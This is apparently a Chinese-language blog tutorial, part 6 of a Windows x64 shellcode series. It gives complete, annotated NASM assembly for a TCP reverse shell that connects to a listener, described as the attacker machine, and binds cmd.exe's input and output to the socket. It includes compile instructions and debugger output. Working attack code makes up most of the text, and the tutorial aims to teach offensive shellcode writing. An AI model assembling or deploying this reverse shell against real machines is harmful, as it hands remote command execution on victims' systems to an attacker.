Windows x64 ShellCode入门教程程 06

# Windows x64 ShellCode入门教程 06

我相信你们大多数人都希望我们最终能够讨论如何使用x64汇编编写反向shell(reverse shell),而这篇文章正是讨论这个主题。不过我们会慢慢来,因为这无疑是我们这个系列文章中最困难的部分。传统的基于TCP的反向shell让我很感兴趣,因为它们利用CreateProcessA API的标准输入/输出/错误句柄,通过创建的进程(命令shell)来交换信息。

这也是为什么这样的代码如此具有挑战性的原因,因为我们的代码中需要查询许多基于套接字的Windows API。此外,我们还必须填充整个STARTUPINFOA结构,我认为这是反向shell中最令人沮丧的部分了。除此之外,就不算太难了。今天我们会稍微取个巧,使用EXTERN来调用这些API,以便让你更轻松地编写第一个反向shell。我第一次用汇编编写反向shell时就感到非常棘手,所以我希望能让你尽可能轻松地上手。好了,我们开始吧:

#

;instructions for compiling on Windows: ld -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib asmsock.obj -o asmsock.exe -lws2_32 -lkernel32

BITS 64
section .text
global main

extern WSAStartup
extern WSASocketA
extern WSAConnect
extern CreateProcessA
extern ExitProcess
1
2
3
4
5
6
7
8
9
10
11

这是我们使用外部API的代码的标准开场白。通过这种方式,我们的代码简洁明了且易于理解,因为我们还不需要手动查找这些API……😸 在这篇之后的下一篇文章中,你们要准备好面对500多行代码。用x64汇编编写反向shell是一个有趣的挑战,但需要付出相当多的编码努力才能实现。好了,言归正传……

# WSAStartup

main:
    ; Call WSAStartup
    and rsp, 0xFFFFFFFFFFFFFFF0 ; stack alignment
    xor rcx, rcx
    mov cx, 0x198               ; Defines the size of the buffer that will be allocated on the stack to hold the WSADATA structure
    sub rsp, rcx                ; Reserve space for lpWSDATA structure
    lea rdx, [rsp]              ; Assign address of lpWSAData to RDX - 2nd param
    mov cx, 0x202               ; Assign 0x202 to wVersionRequired as 1st parameter
    sub rsp, 0x28               ; stack alignment
    call WSAStartup
    add rsp, 0x30               ; stack alignment
1
2
3
4
5
6
7
8
9
10
11

如上代码所示,这只是设置了我们所需的Socket版本和其他必要项目。一如既往,我在代码中加入了注释,以帮助你更容易理解。

# WSASocketA

; Create a socket 
    xor rcx, rcx           
    mov cl, 2                   ; AF = 2 - 1st param
    xor rdx, rdx          
    mov dl, 1                   ; Type = 1 - 2nd param
    xor r8, r8              
    mov r8b, 6                  ; Protocol = 6 - 3rd param
    xor r9, r9                  ; lpProtocolInfo = 0 - fourth param
    mov [rsp+0x20], r9          ; 0 = 5th param
    mov [rsp+0x28], r9          ; 0 = 6th param
    call WSASocketA             ; Call WSASocketA 
    mov r12, rax                ; Save the returned socket value
    add rsp, 0x30
1
2
3
4
5
6
7
8
9
10
11
12
13

太好了!现在我们已经完整创建了一个套接字。我的注释中没有包含相关的API,但如果你想了解更详细的信息,我强烈建议查看微软的API文档以获取完整内容。让我们继续讨论套接字连接……

# WSAConnect

 ; Initiate Socket Connection
    mov r13, rax                ; Store SOCKET handle in r13 for future needs
    mov rcx, r13                ; Our socket handle as parameter 1
    xor rax,rax                 ; rax = 0
    inc rax                     ; rax = 1
    inc rax                     ; rax = 2
    mov [rsp], rax              ; AF_INET = 2
    mov rax, 0x2923             ; Port 9001
    mov [rsp+2], rax            ; our Port
    mov rax, 0x0100007F         ; IP 127.0.0.1 (I use virtual box with port forwarding, hence the localhost addr)
    mov [rsp+4], rax            ; our IP
    lea rdx,[rsp]               ; Save pointer to RDX
    mov r8, 0x16                ; Move 0x10 (decimal 16) to namelen
    xor r9,r9             
    push r9                     ; NULL
    push r9                     ; NULL 
    push r9                     ; NULL
    add rsp, 8
    sub rsp, 0x90               ; This is somewhat problematic. needs to be a high value to account for the stack or so it seems
    call WSAConnect             ; Call WSAConnect
    add rsp, 0x30
    mov rax, 0x6578652e646d63   ; Push cmd.exe string to stack
    push rax                      
    mov rcx, rsp                ; RCX = lpApplicationName (cmd.exe)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

这段代码做了很多事情。简而言之,重要的是:

我们正在设置监听服务器的端口和IP。记住,这是反向的。所以,十六进制的9001端口实际上是0x2329

WSAConnect(配图)

接下来,我们设置监听服务器的IP。操作相同。其十六进制表示为0x7F 0x00 0x00 0x01

一旦我们在调试器中执行这部分代码,你将收到与攻击机监听器的连接。来看看吧:

WSAConnect(配图)

WSAConnect(配图)

# STARTUPINFOA 结构

 ; STARTUPINFOA Structure (I despise this thing!!!!)
	; https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
    push r13                    ; Push STDERROR
    push r13                    ; Push STDOUTPUT
    push r13                    ; Push STDINPUT
    xor rax,rax
    push rax                    ; 8 bytes -> push lpReserved2
    push rax                    ; 8 bytes -> combine cbReserved2 and wShowWindow
    push ax                     ; dwFlags 4 bytes total, first 2 bytes
    mov rax, 0x100              ; STARTF_USESTDHANDLES
    push ax                     ; continuation of the above, last 2 bytes for dwFlags
    xor rax,rax  
    push rax                    ; dwFillAttribute (4 bytes) + dwYCountChars (4 bytes)
    push rax                    ; dwXCountChars (4 bytes) + dwYSize (4 bytes)
    push rax                    ; dwXSize (4 bytes) + dwY (4 bytes)
    push ax                     ; dwX 4 bytes total, first 2 bytes
    push ax                     ; dwX last 2 bytes
    push rax                    ; 8 bytes -> lpTitle
    push rax                    ; 8 bytes -> lpDesktop = NULL
    push rax                    ; 8 bytes -> lpReserved = NULL
    mov rax, 0x68               ; total size of structure
    push rax                    
    mov rdi,rsp                 ; Copy the pointer to the structure to RDI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

STARTUPINFOA这个结构中,只有少数几个字段真正重要。其余的我们只需设为NULL即可。dwFlags很重要,因为它设置了标准输入/输出/错误句柄。结构大小也非常重要,而且是必需的。这种结构最复杂的地方在于每个字段的字节大小各不相同。有些使用WORDS,有些使用DWORDS,还有些使用QWORDS。在x86中,这要简单得多,因为我们不必考虑栈对齐。在x64中,由于需要栈对齐,我们需要在各处进行一些填充。以下是我整理的内容,以便更好地理解这一点:

# 64字节对齐(带填充)

0:009> dt STARTUPINFOA [rsp]
    combase!STARTUPINFOA
    +0x000 cb               : 0x68  8 push rax
    +0x008 lpReserved       : (null)8 push rax
    +0x010 lpDesktop        : (null)8 push rax
    +0x018 lpTitle          : (null)8 push rax
    +0x020 dwX              : 0 4 --> push ax = twice (push ax + push ax)
    +0x024 dwY              : 0 4 --\ 8 bytes -> push rax
    +0x028 dwXSize          : 0 4 --/
    +0x02c dwYSize          : 0 4 --\ 8 bytes -> push rax
    +0x030 dwXCountChars    : 0 4 --/
    +0x034 dwYCountChars    : 0 4 --\ 8 bytes -> push rax
    +0x038 dwFillAttribute  : 0 4 --/
    +0x03c dwFlags          : 0x100 4 push ax = twice (push ax (2 bytes) + push ax (2 bytes))
    +0x040 wShowWindow      : 0 2 --\ 8 bytes -> push rax
    +0x042 cbReserved2      : 0 6 --/
    +0x048 lpReserved2      : (null) 8 bytes -> push rax
    +0x050 hStdInput        : (null) 8 bytes -> push rax
    +0x058 hStdOutput       : 0x00000000`000000a4 Void 8 push rax
    +0x060 hStdError        : 0x00000000`000000a4 Void 8 push rax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 使用CreateProcessA 创建进程

; Call CreateProcessA
    mov rax, rsp                ; Get current stack pointer
    sub rax, 0x18               ; Setup space on the stack for holding process info
    push rax                    ; Address of the ProcessInformation structure | 10th parameter
    push rdi                    ; Address of the STARTUPINFOA structure | 9th parameter
    xor rax, rax
    push rax                    ; lpCurrentDirectory | 8th parameter
    push rax                    ; lpEnvironment | 7th parameter
    push rax                    ; dwCreationFlags | 6th parameter
    inc rax
    push rax                    ; bInheritHandles -> 1 | 5th parameter
    xor rax, rax
    push rax                    ; Reserve space for the function return area | 4th parameter
    push rax                    ; Reserve space for the function return area | 3rd parameter
    push rax                    ; Reserve space for the function return area | 2nd parameter
    push rax                    ; Reserve space for the function return area | 1st parameter
    mov r8, rax                 ; lpThreadAttributes            
    mov r9, rax                 ; lpProcessAttributes           
    mov rdx, rcx                ; lpCommandLine = "cmd.exe" 
    mov rcx, rax                ; lpApplicationName              
    call CreateProcessA         ; Call CreateProcessA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

CreateProcessA所需的信息并不复杂。我们包含了命令字符串,在本例中是cmd.exe。我们还确保句柄是可继承的,并且包含了STARTUPINFO结构指针,同时也为PROCESSINFO's的返回值预留了空间。让我们调用这个函数吧!

使用CreateProcessA 创建进程(配图)

稍等片刻,执行效果如下:

使用CreateProcessA 创建进程(配图)

至此,一个漂亮的、伪手工制作的反向shell已经可以使用了。 后面我们将完全手工制作它!

最后,让我们优雅地退出这个程序:

; Clean exit
    mov rcx, 0
    call ExitProcess
1
2
3

各位,这篇文章就到这里!下一篇帖子会是同样的主题,但我们将用纯x64汇编编写一个反向shell,但依赖于使用**外部符号(EXTERNS)**来获取我们的API。我们会像之前一样,通过遍历PE导出表来动态定位它们。到时候见!

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>